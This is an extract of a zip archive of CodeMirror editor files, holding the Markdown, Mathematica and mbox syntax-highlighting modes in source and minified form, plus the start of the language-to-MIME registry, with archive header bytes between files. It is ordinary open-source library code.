"===g&&(b.eat("*")||b.eat("_"))){if("
"===b.peek())return
l(d);b.backUp(1)}if(c.strikethrough)if("~"===g&&b.eatWhile(g)){if(d.strikethrough){c.highlightFormatting&&(d.formatting="strikethrough");var
q=l(d);return d.strikethrough=!1,q}if(b.match(/^[^\s]/,!1))return
d.strikethrough=!0,c.highlightFormatting&&(d.formatting="strikethrough"),l(d)}else
if(" "===g&&b.match(/^~~/,!0)){if("
"===b.peek())return
l(d);b.backUp(2)}if(c.emoji&&":"===g&&b.match(/^(?:[a-z_\d+][a-z_\d+-]*|\-[a-z_\d+][a-z_\d+-]*):/)){d.emoji=!0,c.highlightFormatting&&(d.formatting="emoji");var
E=l(d);return d.emoji=!1,E}return" "===g&&(b.match(/^
+$/,!1)?d.trailingSpace++:d.trailingSpace&&(d.trailingSpaceNewLine=!0)),l(d)}function
o(a,b){if(">"===a.next()){b.f=b.inline=n,c.highlightFormatting&&(b.formatting="link");var
d=l(b);return d?d+=" ":d="",d+w.linkInline}return
a.match(/^[^>]+/,!0),w.linkInline}function p(a,b){if(a.eatSpace())return
null;var
d=a.next();return"("===d||"["===d?(b.f=b.inline=q("("===d?")":"]"),c.highlightFormatting&&(b.formatting="link-string"),b.linkHref=!0,l(b)):"error"}function
q(a){return
function(b,d){if(b.next()===a){d.f=d.inline=n,c.highlightFormatting&&(d.formatting="link-string");var
e=l(d);return d.linkHref=!1,e}return
b.match(H[a]),d.linkHref=!0,l(d)}}function r(a,b){return
a.match(/^([^\]\\]|\\.)*\]:/,!1)?(b.f=s,a.next(),c.highlightFormatting&&(b.formatting="link"),b.linkText=!0,l(b)):e(a,b,n)}function
s(a,b){if(a.match(/^\]:/,!0)){b.f=b.inline=t,c.highlightFormatting&&(b.formatting="link");var
d=l(b);return b.linkText=!1,d}return
a.match(/^([^\]\\]|\\.)+/,!0),w.linkText}function t(a,b){return
a.eatSpace()?null:(a.match(/^[^\s]+/,!0),void
0===a.peek()?b.linkTitle=!0:a.match(/^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/,!0),b.f=b.inline=n,w.linkHref+"
url")}var
u=a.getMode(b,"text/html"),v="null"==u.name;void
0===c.highlightFormatting&&(c.highlightFormatting=!1),void
0===c.maxBlockquoteDepth&&(c.maxBlockquoteDepth=0),void
0===c.taskLists&&(c.taskLists=!1),void
0===c.strikethrough&&(c.strikethrough=!1),void
0===c.emoji&&(c.emoji=!1),void
0===c.fencedCodeBlockHighlighting&&(c.fencedCodeBlockHighlighting=!0),void
0===c.fencedCodeBlockDefaultMode&&(c.fencedCodeBlockDefaultMode="text/plain"),void
0===c.xml&&(c.xml=!0),void
0===c.tokenTypeOverrides&&(c.tokenTypeOverrides={});var
w={header:"header",code:"comment",quote:"quote",list1:"variable-2",list2:"variable-3",list3:"keyword",hr:"hr",image:"image",imageAltText:"image-alt-text",imageMarker:"image-marker",formatting:"formatting",linkInline:"link",linkEmail:"link",linkText:"link",linkHref:"string",em:"em",strong:"strong",strikethrough:"strikethrough",emoji:"builtin"};for(var
x in
w)w.hasOwnProperty(x)&&c.tokenTypeOverrides[x]&&(w[x]=c.tokenTypeOverrides[x]);var
y=/^([*\-_])(?:\s*\1){2,}\s*$/,z=/^(?:[*\-+]|^[0-9]+([.)]))\s+/,A=/^\[(x|
)\](?=\s)/i,B=c.allowAtxHeaderWithoutSpace?/^(#+)/:/^(#+)(?: |$)/,C=/^
{0,3}(?:\={1,}|-{2,})\s*$/,D=/^[^#!\[\]*_\\<>`
"'(~:]+/,E=/^(~~~+|```+)[
\t]*([\w\/+#-]*)[^\n`]*$/,F=/^\s*\[[^\]]+?\]:.*$/,G=/[!"#$%&'()*+,\-.\/:;<=>?@\[\\\]^_`{|}~\xA1\xA7\xAB\xB6\xB7\xBB\xBF\u037E\u0387\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061E\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u0AF0\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F14\u0F3A-\u0F3D\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1360-\u1368\u1400\u166D\u166E\u169B\u169C\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CC0-\u1CC7\u1CD3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205E\u207D\u207E\u208D\u208E\u2308-\u230B\u2329\u232A\u2768-\u2775\u27C5\u27C6\u27E6-\u27EF\u2983-\u2998\u29D8-\u29DB\u29FC\u29FD\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00-\u2E2E\u2E30-\u2E42\u3001-\u3003\u3008-\u3011\u3014-\u301F\u3030\u303D\u30A0\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA8FC\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uAAF0\uAAF1\uABEB\uFD3E\uFD3F\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF5F-\uFF65]|\uD800[\uDD00-\uDD02\uDF9F\uDFD0]|\uD801\uDD6F|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC9\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]|\uD805[\uDCC6\uDDC1-\uDDD7\uDE41-\uDE43\uDF3C-\uDF3E]|\uD809[\uDC70-\uDC74]|\uD81A[\uDE6E\uDE6F\uDEF5\uDF37-\uDF3B\uDF44]|\uD82F\uDC9F|\uD836[\uDE87-\uDE8B]/,H={")":/^(?:[^\\\(\)]|\\.|\((?:[^\\\(\)]|\\.)*\))*?(?=\))/,"]":/^(?:[^\\\[\]]|\\.|\[(?:[^\\\[\]]|\\.)*\])*?(?=\])/},I={startState:function(){return{f:i,prevLine:{stream:null},thisLine:{stream:null},block:i,htmlState:null,indentation:0,inline:n,text:m,formatting:!1,linkText:!1,linkHref:!1,linkTitle:!1,code:0,em:!1,strong:!1,header:0,setext:0,hr:!1,taskList:!1,list:!1,listStack:[],quote:0,trailingSpace:0,trailingSpaceNewLine:!1,strikethrough:!1,emoji:!1,fencedEndRE:null}},copyState:function(b){return{f:b.f,prevLine:b.prevLine,thisLine:b.thisLine,block:b.block,htmlState:b.htmlState&&a.copyState(u,b.htmlState),indentation:b.indentation,localMode:b.localMode,localState:b.localMode?a.copyState(b.localMode,b.localState):null,inline:b.inline,text:b.text,formatting:!1,linkText:b.linkText,linkTitle:b.linkTitle,linkHref:b.linkHref,code:b.code,em:b.em,strong:b.strong,strikethrough:b.strikethrough,emoji:b.emoji,header:b.header,setext:b.setext,hr:b.hr,taskList:b.taskList,list:b.list,listStack:b.listStack.slice(0),quote:b.quote,indentedCode:b.indentedCode,trailingSpace:b.trailingSpace,trailingSpaceNewLine:b.trailingSpaceNewLine,md_inside:b.md_inside,fencedEndRE:b.fencedEndRE}},token:function(a,b){if(b.formatting=!1,a!=b.thisLine.stream){if(b.header=0,b.hr=!1,a.match(/^\s*$/,!0))return
h(b),null;if(b.prevLine=b.thisLine,b.thisLine={stream:a},b.taskList=!1,b.trailingSpace=0,b.trailingSpaceNewLine=!1,!b.localState&&(b.f=b.block,b.f!=j)){var
c=a.match(/^\s*/,!0)[0].replace(/\t/g,"   
").length;if(b.indentation=c,b.indentationDiff=null,c>0)return
null}}return b.f(a,b)},innerMode:function(a){return
a.block==j?{state:a.htmlState,mode:u}:a.localState?{state:a.localState,mode:a.localMode}:{state:a,mode:I}},indent:function(b,c,d){return
b.block==j&&u.indent?u.indent(b.htmlState,c,d):b.localState&&b.localMode.indent?b.localMode.indent(b.localState,c,d):a.Pass},blankLine:h,getType:l,blockCommentStart:"\x3c!--",blockCommentEnd:"--\x3e",closeBrackets:"()[]{}''\"\"``",fold:"markdown"};return
I}),"xml"),a.defineMIME("text/markdown","markdown"),a.defineMIME("text/x-markdown","markdown")}));PKI��[Q���*codemirror/mode/mathematica/mathematica.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Mathematica mode copyright (c) 2015 by Calin Barbat
// Based on code by Patrick Scheibe (halirutan)
// See:
https://github.com/halirutan/Mathematica-Source-Highlighting/tree/master/src/lang-mma.js

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('mathematica', function(_config,
_parserConfig) {

  // used pattern building blocks
  var Identifier = '[a-zA-Z\\$][a-zA-Z0-9\\$]*';
  var pBase      = "(?:\\d+)";
  var pFloat     = "(?:\\.\\d+|\\d+\\.\\d*|\\d+)";
  var pFloatBase = "(?:\\.\\w+|\\w+\\.\\w*|\\w+)";
  var pPrecision = "(?:`(?:`?"+pFloat+")?)";

  // regular expressions
  var reBaseForm        = new
RegExp('(?:'+pBase+'(?:\\^\\^'+pFloatBase+pPrecision+'?(?:\\*\\^[+-]?\\d+)?))');
  var reFloatForm       = new RegExp('(?:' + pFloat + pPrecision
+ '?(?:\\*\\^[+-]?\\d+)?)');
  var reIdInContext     = new RegExp('(?:`?)(?:' + Identifier +
')(?:`(?:' + Identifier + '))*(?:`?)');

  function tokenBase(stream, state) {
    var ch;

    // get next character
    ch = stream.next();

    // string
    if (ch === '"') {
      state.tokenize = tokenString;
      return state.tokenize(stream, state);
    }

    // comment
    if (ch === '(') {
      if (stream.eat('*')) {
        state.commentLevel++;
        state.tokenize = tokenComment;
        return state.tokenize(stream, state);
      }
    }

    // go back one character
    stream.backUp(1);

    // look for numbers
    // Numbers in a baseform
    if (stream.match(reBaseForm, true, false)) {
      return 'number';
    }

    // Mathematica numbers. Floats (1.2, .2, 1.) can have optionally a
precision (`float) or an accuracy definition
    // (``float). Note: while 1.2` is possible 1.2`` is not. At the end an
exponent (float*^+12) can follow.
    if (stream.match(reFloatForm, true, false)) {
      return 'number';
    }

    /* In[23] and Out[34] */
    if (stream.match(/(?:In|Out)\[[0-9]*\]/, true, false)) {
      return 'atom';
    }

    // usage
    if
(stream.match(/([a-zA-Z\$][a-zA-Z0-9\$]*(?:`[a-zA-Z0-9\$]+)*::usage)/,
true, false)) {
      return 'meta';
    }

    // message
    if
(stream.match(/([a-zA-Z\$][a-zA-Z0-9\$]*(?:`[a-zA-Z0-9\$]+)*::[a-zA-Z\$][a-zA-Z0-9\$]*):?/,
true, false)) {
      return 'string-2';
    }

    // this makes a look-ahead match for something like variable:{_Integer}
    // the match is then forwarded to the mma-patterns tokenizer.
    if
(stream.match(/([a-zA-Z\$][a-zA-Z0-9\$]*\s*:)(?:(?:[a-zA-Z\$][a-zA-Z0-9\$]*)|(?:[^:=>~@\^\&\*\)\[\]'\?,\|])).*/,
true, false)) {
      return 'variable-2';
    }

    // catch variables which are used together with Blank (_),
BlankSequence (__) or BlankNullSequence (___)
    // Cannot start with a number, but can have numbers at any other
position. Examples
    // blub__Integer, a1_, b34_Integer32
    if (stream.match(/[a-zA-Z\$][a-zA-Z0-9\$]*_+[a-zA-Z\$][a-zA-Z0-9\$]*/,
true, false)) {
      return 'variable-2';
    }
    if (stream.match(/[a-zA-Z\$][a-zA-Z0-9\$]*_+/, true, false)) {
      return 'variable-2';
    }
    if (stream.match(/_+[a-zA-Z\$][a-zA-Z0-9\$]*/, true, false)) {
      return 'variable-2';
    }

    // Named characters in Mathematica, like \[Gamma].
    if (stream.match(/\\\[[a-zA-Z\$][a-zA-Z0-9\$]*\]/, true, false)) {
      return 'variable-3';
    }

    // Match all braces separately
    if (stream.match(/(?:\[|\]|{|}|\(|\))/, true, false)) {
      return 'bracket';
    }

    // Catch Slots (#, ##, #3, ##9 and the V10 named slots #name). I have
never seen someone using more than one digit after #, so we match
    // only one.
    if (stream.match(/(?:#[a-zA-Z\$][a-zA-Z0-9\$]*|#+[0-9]?)/, true,
false)) {
      return 'variable-2';
    }

    // Literals like variables, keywords, functions
    if (stream.match(reIdInContext, true, false)) {
      return 'keyword';
    }

    // operators. Note that operators like @@ or /; are matched separately
for each symbol.
    if
(stream.match(/(?:\\|\+|\-|\*|\/|,|;|\.|:|@|~|=|>|<|&|\||_|`|'|\^|\?|!|%)/,
true, false)) {
      return 'operator';
    }

    // everything else is an error
    stream.next(); // advance the stream.
    return 'error';
  }

  function tokenString(stream, state) {
    var next, end = false, escaped = false;
    while ((next = stream.next()) != null) {
      if (next === '"' && !escaped) {
        end = true;
        break;
      }
      escaped = !escaped && next === '\\';
    }
    if (end && !escaped) {
      state.tokenize = tokenBase;
    }
    return 'string';
  };

  function tokenComment(stream, state) {
    var prev, next;
    while(state.commentLevel > 0 && (next = stream.next()) !=
null) {
      if (prev === '(' && next === '*')
state.commentLevel++;
      if (prev === '*' && next === ')')
state.commentLevel--;
      prev = next;
    }
    if (state.commentLevel <= 0) {
      state.tokenize = tokenBase;
    }
    return 'comment';
  }

  return {
    startState: function() {return {tokenize: tokenBase, commentLevel:
0};},
    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      return state.tokenize(stream, state);
    },
    blockCommentStart: "(*",
    blockCommentEnd: "*)"
  };
});

CodeMirror.defineMIME('text/x-mathematica', {
  name: 'mathematica'
});

});
PKI��[��.codemirror/mode/mathematica/mathematica.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("mathematica",(function(a,b){function
c(a,b){var
c;return'"'===(c=a.next())?(b.tokenize=d,b.tokenize(a,b)):"("===c&&a.eat("*")?(b.commentLevel++,b.tokenize=e,b.tokenize(a,b)):(a.backUp(1),a.match(h,!0,!1)?"number":a.match(i,!0,!1)?"number":a.match(/(?:In|Out)\[[0-9]*\]/,!0,!1)?"atom":a.match(/([a-zA-Z\$][a-zA-Z0-9\$]*(?:`[a-zA-Z0-9\$]+)*::usage)/,!0,!1)?"meta":a.match(/([a-zA-Z\$][a-zA-Z0-9\$]*(?:`[a-zA-Z0-9\$]+)*::[a-zA-Z\$][a-zA-Z0-9\$]*):?/,!0,!1)?"string-2":a.match(/([a-zA-Z\$][a-zA-Z0-9\$]*\s*:)(?:(?:[a-zA-Z\$][a-zA-Z0-9\$]*)|(?:[^:=>~@\^\&\*\)\[\]'\?,\|])).*/,!0,!1)?"variable-2":a.match(/[a-zA-Z\$][a-zA-Z0-9\$]*_+[a-zA-Z\$][a-zA-Z0-9\$]*/,!0,!1)?"variable-2":a.match(/[a-zA-Z\$][a-zA-Z0-9\$]*_+/,!0,!1)?"variable-2":a.match(/_+[a-zA-Z\$][a-zA-Z0-9\$]*/,!0,!1)?"variable-2":a.match(/\\\[[a-zA-Z\$][a-zA-Z0-9\$]*\]/,!0,!1)?"variable-3":a.match(/(?:\[|\]|{|}|\(|\))/,!0,!1)?"bracket":a.match(/(?:#[a-zA-Z\$][a-zA-Z0-9\$]*|#+[0-9]?)/,!0,!1)?"variable-2":a.match(j,!0,!1)?"keyword":a.match(/(?:\\|\+|\-|\*|\/|,|;|\.|:|@|~|=|>|<|&|\||_|`|'|\^|\?|!|%)/,!0,!1)?"operator":(a.next(),"error"))}function
d(a,b){for(var
d,e=!1,f=!1;null!=(d=a.next());){if('"'===d&&!f){e=!0;break}f=!f&&"\\"===d}return
e&&!f&&(b.tokenize=c),"string"}function
e(a,b){for(var
d,e;b.commentLevel>0&&null!=(e=a.next());)"("===d&&"*"===e&&b.commentLevel++,"*"===d&&")"===e&&b.commentLevel--,d=e;return
b.commentLevel<=0&&(b.tokenize=c),"comment"}var
f="(?:\\.\\d+|\\d+\\.\\d*|\\d+)",g="(?:`(?:`?"+f+")?)",h=new
RegExp("(?:(?:\\d+)(?:\\^\\^(?:\\.\\w+|\\w+\\.\\w*|\\w+)"+g+"?(?:\\*\\^[+-]?\\d+)?))"),i=new
RegExp("(?:"+f+g+"?(?:\\*\\^[+-]?\\d+)?)"),j=new
RegExp("(?:`?)(?:[a-zA-Z\\$][a-zA-Z0-9\\$]*)(?:`(?:[a-zA-Z\\$][a-zA-Z0-9\\$]*))*(?:`?)");return{startState:function(){return{tokenize:c,commentLevel:0}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)},blockCommentStart:"(*",blockCommentEnd:"*)"}})),a.defineMIME("text/x-mathematica",{name:"mathematica"})}));PKI��[��	BBcodemirror/mode/mbox/mbox.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

var rfc2822 = [
  "From", "Sender", "Reply-To",
"To", "Cc", "Bcc", "Message-ID",
  "In-Reply-To", "References", "Resent-From",
"Resent-Sender", "Resent-To",
  "Resent-Cc", "Resent-Bcc",
"Resent-Message-ID", "Return-Path",
"Received"
];
var rfc2822NoEmail = [
  "Date", "Subject", "Comments",
"Keywords", "Resent-Date"
];

CodeMirror.registerHelper("hintWords", "mbox",
rfc2822.concat(rfc2822NoEmail));

var whitespace = /^[ \t]/;
var separator = /^From /; // See RFC 4155
var rfc2822Header = new RegExp("^(" + rfc2822.join("|")
+ "): ");
var rfc2822HeaderNoEmail = new RegExp("^(" +
rfc2822NoEmail.join("|") + "): ");
var header = /^[^:]+:/; // Optional fields defined in RFC 2822
var email = /^[^ ]+@[^ ]+/;
var untilEmail = /^.*?(?=[^ ]+?@[^ ]+)/;
var bracketedEmail = /^<.*?>/;
var untilBracketedEmail = /^.*?(?=<.*>)/;

function styleForHeader(header) {
  if (header === "Subject") return "header";
  return "string";
}

function readToken(stream, state) {
  if (stream.sol()) {
    // From last line
    state.inSeparator = false;
    if (state.inHeader && stream.match(whitespace)) {
      // Header folding
      return null;
    } else {
      state.inHeader = false;
      state.header = null;
    }

    if (stream.match(separator)) {
      state.inHeaders = true;
      state.inSeparator = true;
      return "atom";
    }

    var match;
    var emailPermitted = false;
    if ((match = stream.match(rfc2822HeaderNoEmail)) ||
        (emailPermitted = true) && (match =
stream.match(rfc2822Header))) {
      state.inHeaders = true;
      state.inHeader = true;
      state.emailPermitted = emailPermitted;
      state.header = match[1];
      return "atom";
    }

    // Use vim's heuristics: recognize custom headers only if the line
is in a
    // block of legitimate headers.
    if (state.inHeaders && (match = stream.match(header))) {
      state.inHeader = true;
      state.emailPermitted = true;
      state.header = match[1];
      return "atom";
    }

    state.inHeaders = false;
    stream.skipToEnd();
    return null;
  }

  if (state.inSeparator) {
    if (stream.match(email)) return "link";
    if (stream.match(untilEmail)) return "atom";
    stream.skipToEnd();
    return "atom";
  }

  if (state.inHeader) {
    var style = styleForHeader(state.header);

    if (state.emailPermitted) {
      if (stream.match(bracketedEmail)) return style + " link";
      if (stream.match(untilBracketedEmail)) return style;
    }
    stream.skipToEnd();
    return style;
  }

  stream.skipToEnd();
  return null;
};

CodeMirror.defineMode("mbox", function() {
  return {
    startState: function() {
      return {
        // Is in a mbox separator
        inSeparator: false,
        // Is in a mail header
        inHeader: false,
        // If bracketed email is permitted. Only applicable when inHeader
        emailPermitted: false,
        // Name of current header
        header: null,
        // Is in a region of mail headers
        inHeaders: false
      };
    },
    token: readToken,
    blankLine: function(state) {
      state.inHeaders = state.inSeparator = state.inHeader = false;
    }
  };
});

CodeMirror.defineMIME("application/mbox", "mbox");
});
PKI��[K�`��
codemirror/mode/mbox/mbox.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a){return"Subject"===a?"header":"string"}function
c(a,c){if(a.sol()){if(c.inSeparator=!1,c.inHeader&&a.match(f))return
null;if(c.inHeader=!1,c.header=null,a.match(g))return
c.inHeaders=!0,c.inSeparator=!0,"atom";var
d,e=!1;return(d=a.match(i))||(e=!0)&&(d=a.match(h))?(c.inHeaders=!0,c.inHeader=!0,c.emailPermitted=e,c.header=d[1],"atom"):c.inHeaders&&(d=a.match(j))?(c.inHeader=!0,c.emailPermitted=!0,c.header=d[1],"atom"):(c.inHeaders=!1,a.skipToEnd(),null)}if(c.inSeparator)return
a.match(k)?"link":a.match(l)?"atom":(a.skipToEnd(),"atom");if(c.inHeader){var
o=b(c.header);if(c.emailPermitted){if(a.match(m))return o+"
link";if(a.match(n))return o}return a.skipToEnd(),o}return
a.skipToEnd(),null}var
d=["From","Sender","Reply-To","To","Cc","Bcc","Message-ID","In-Reply-To","References","Resent-From","Resent-Sender","Resent-To","Resent-Cc","Resent-Bcc","Resent-Message-ID","Return-Path","Received"],e=["Date","Subject","Comments","Keywords","Resent-Date"];a.registerHelper("hintWords","mbox",d.concat(e));var
f=/^[ \t]/,g=/^From /,h=new
RegExp("^("+d.join("|")+"): "),i=new
RegExp("^("+e.join("|")+"):
"),j=/^[^:]+:/,k=/^[^ ]+@[^ ]+/,l=/^.*?(?=[^ ]+?@[^
]+)/,m=/^<.*?>/,n=/^.*?(?=<.*>)/;a.defineMode("mbox",(function(){return{startState:function(){return{inSeparator:!1,inHeader:!1,emailPermitted:!1,header:null,inHeaders:!1}},token:c,blankLine:function(a){a.inHeaders=a.inSeparator=a.inHeader=!1}}})),a.defineMIME("application/mbox","mbox")}));PKI��[����=�=codemirror/mode/meta.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.modeInfo = [
    {name: "APL", mime: "text/apl", mode:
"apl", ext: ["dyalog", "apl"]},
    {name: "PGP", mimes: ["application/pgp",
"application/pgp-encrypted", "application/pgp-keys",
"application/pgp-signature"], mode: "asciiarmor", ext:
["asc", "pgp", "sig"]},
    {name: "ASN.1", mime: "text/x-ttcn-asn", mode:
"asn.1", ext: ["asn", "asn1"]},
    {name: "Asterisk", mime: "text/x-asterisk", mode:
"asterisk", file: /^extensions\.conf$/i},
    {name: "Brainfuck", mime: "text/x-brainfuck", mode:
"brainfuck", ext: ["b", "bf"]},
    {name: "C", mime: "text/x-csrc", mode:
"clike", ext: ["c", "h", "ino"]},
    {name: "C++", mime: "text/x-c++src", mode:
"clike", ext: ["cpp", "c++", "cc",
"cxx", "hpp", "h++", "hh",
"hxx"], alias: ["cpp"]},
    {name: "Cobol", mime: "text/x-cobol", mode:
"cobol", ext: ["cob", "cpy"]},
    {name: "C#", mime: "text/x-csharp", mode:
"clike", ext: ["cs"], alias: ["csharp",
"cs"]},
    {name: "Clojure", mime: "text/x-clojure", mode:
"clojure", ext: ["clj", "cljc",
"cljx"]},
    {name: "ClojureScript", mime:
"text/x-clojurescript", mode: "clojure", ext:
["cljs"]},
    {name: "Closure Stylesheets (GSS)", mime:
"text/x-gss", mode: "css", ext: ["gss"]},
    {name: "CMake", mime: "text/x-cmake", mode:
"cmake", ext: ["cmake", "cmake.in"], file:
/^CMakeLists.txt$/},
    {name: "CoffeeScript", mimes:
["application/vnd.coffeescript", "text/coffeescript",
"text/x-coffeescript"], mode: "coffeescript", ext:
["coffee"], alias: ["coffee",
"coffee-script"]},
    {name: "Common Lisp", mime: "text/x-common-lisp",
mode: "commonlisp", ext: ["cl", "lisp",
"el"], alias: ["lisp"]},
    {name: "Cypher", mime:
"application/x-cypher-query", mode: "cypher", ext:
["cyp", "cypher"]},
    {name: "Cython", mime: "text/x-cython", mode:
"python", ext: ["pyx", "pxd",
"pxi"]},
    {name: "Crystal", mime: "text/x-crystal", mode:
"crystal", ext: ["cr"]},
    {name: "CSS", mime: "text/css", mode:
"css", ext: ["css"]},
    {name: "CQL", mime: "text/x-cassandra", mode:
"sql", ext: ["cql"]},
    {name: "D", mime: "text/x-d", mode: "d",
ext: ["d"]},
    {name: "Dart", mimes: ["application/dart",
"text/x-dart"], mode: "dart", ext: ["dart"]},
    {name: "diff", mime: "text/x-diff", mode:
"diff", ext: ["diff", "patch"]},
    {name: "Django", mime: "text/x-django", mode:
"django"},
    {name: "Dockerfile", mime: "text/x-dockerfile",
mode: "dockerfile", file: /^Dockerfile$/},
    {name: "DTD", mime: "application/xml-dtd", mode:
"dtd", ext: ["dtd"]},
    {name: "Dylan", mime: "text/x-dylan", mode:
"dylan", ext: ["dylan", "dyl",
"intr"]},
    {name: "EBNF", mime: "text/x-ebnf", mode:
"ebnf"},
    {name: "ECL", mime: "text/x-ecl", mode:
"ecl", ext: ["ecl"]},
    {name: "edn", mime: "application/edn", mode:
"clojure", ext: ["edn"]},
    {name: "Eiffel", mime: "text/x-eiffel", mode:
"eiffel", ext: ["e"]},
    {name: "Elm", mime: "text/x-elm", mode:
"elm", ext: ["elm"]},
    {name: "Embedded Javascript", mime:
"application/x-ejs", mode: "htmlembedded", ext:
["ejs"]},
    {name: "Embedded Ruby", mime: "application/x-erb",
mode: "htmlembedded", ext: ["erb"]},
    {name: "Erlang", mime: "text/x-erlang", mode:
"erlang", ext: ["erl"]},
    {name: "Esper", mime: "text/x-esper", mode:
"sql"},
    {name: "Factor", mime: "text/x-factor", mode:
"factor", ext: ["factor"]},
    {name: "FCL", mime: "text/x-fcl", mode:
"fcl"},
    {name: "Forth", mime: "text/x-forth", mode:
"forth", ext: ["forth", "fth",
"4th"]},
    {name: "Fortran", mime: "text/x-fortran", mode:
"fortran", ext: ["f", "for", "f77",
"f90", "f95"]},
    {name: "F#", mime: "text/x-fsharp", mode:
"mllike", ext: ["fs"], alias: ["fsharp"]},
    {name: "Gas", mime: "text/x-gas", mode:
"gas", ext: ["s"]},
    {name: "Gherkin", mime: "text/x-feature", mode:
"gherkin", ext: ["feature"]},
    {name: "GitHub Flavored Markdown", mime:
"text/x-gfm", mode: "gfm", file:
/^(readme|contributing|history).md$/i},
    {name: "Go", mime: "text/x-go", mode:
"go", ext: ["go"]},
    {name: "Groovy", mime: "text/x-groovy", mode:
"groovy", ext: ["groovy", "gradle"], file:
/^Jenkinsfile$/},
    {name: "HAML", mime: "text/x-haml", mode:
"haml", ext: ["haml"]},
    {name: "Haskell", mime: "text/x-haskell", mode:
"haskell", ext: ["hs"]},
    {name: "Haskell (Literate)", mime:
"text/x-literate-haskell", mode: "haskell-literate",
ext: ["lhs"]},
    {name: "Haxe", mime: "text/x-haxe", mode:
"haxe", ext: ["hx"]},
    {name: "HXML", mime: "text/x-hxml", mode:
"haxe", ext: ["hxml"]},
    {name: "ASP.NET", mime: "application/x-aspx", mode:
"htmlembedded", ext: ["aspx"], alias: ["asp",
"aspx"]},
    {name: "HTML", mime: "text/html", mode:
"htmlmixed", ext: ["html", "htm",
"handlebars", "hbs"], alias: ["xhtml"]},
    {name: "HTTP", mime: "message/http", mode:
"http"},
    {name: "IDL", mime: "text/x-idl", mode:
"idl", ext: ["pro"]},
    {name: "Pug", mime: "text/x-pug", mode:
"pug", ext: ["jade", "pug"], alias:
["jade"]},
    {name: "Java", mime: "text/x-java", mode:
"clike", ext: ["java"]},
    {name: "Java Server Pages", mime:
"application/x-jsp", mode: "htmlembedded", ext:
["jsp"], alias: ["jsp"]},
    {name: "JavaScript", mimes: ["text/javascript",
"text/ecmascript", "application/javascript",
"application/x-javascript", "application/ecmascript"],
     mode: "javascript", ext: ["js"], alias:
["ecmascript", "js", "node"]},
    {name: "JSON", mimes: ["application/json",
"application/x-json"], mode: "javascript", ext:
["json", "map"], alias: ["json5"]},
    {name: "JSON-LD", mime: "application/ld+json",
mode: "javascript", ext: ["jsonld"], alias:
["jsonld"]},
    {name: "JSX", mime: "text/jsx", mode:
"jsx", ext: ["jsx"]},
    {name: "Jinja2", mime: "text/jinja2", mode:
"jinja2", ext: ["j2", "jinja",
"jinja2"]},
    {name: "Julia", mime: "text/x-julia", mode:
"julia", ext: ["jl"]},
    {name: "Kotlin", mime: "text/x-kotlin", mode:
"clike", ext: ["kt"]},
    {name: "LESS", mime: "text/x-less", mode:
"css", ext: ["less"]},
    {name: "LiveScript", mime: "text/x-livescript",
mode: "livescript", ext: ["ls"], alias:
["ls"]},
    {name: "Lua", mime: "text/x-lua", mode:
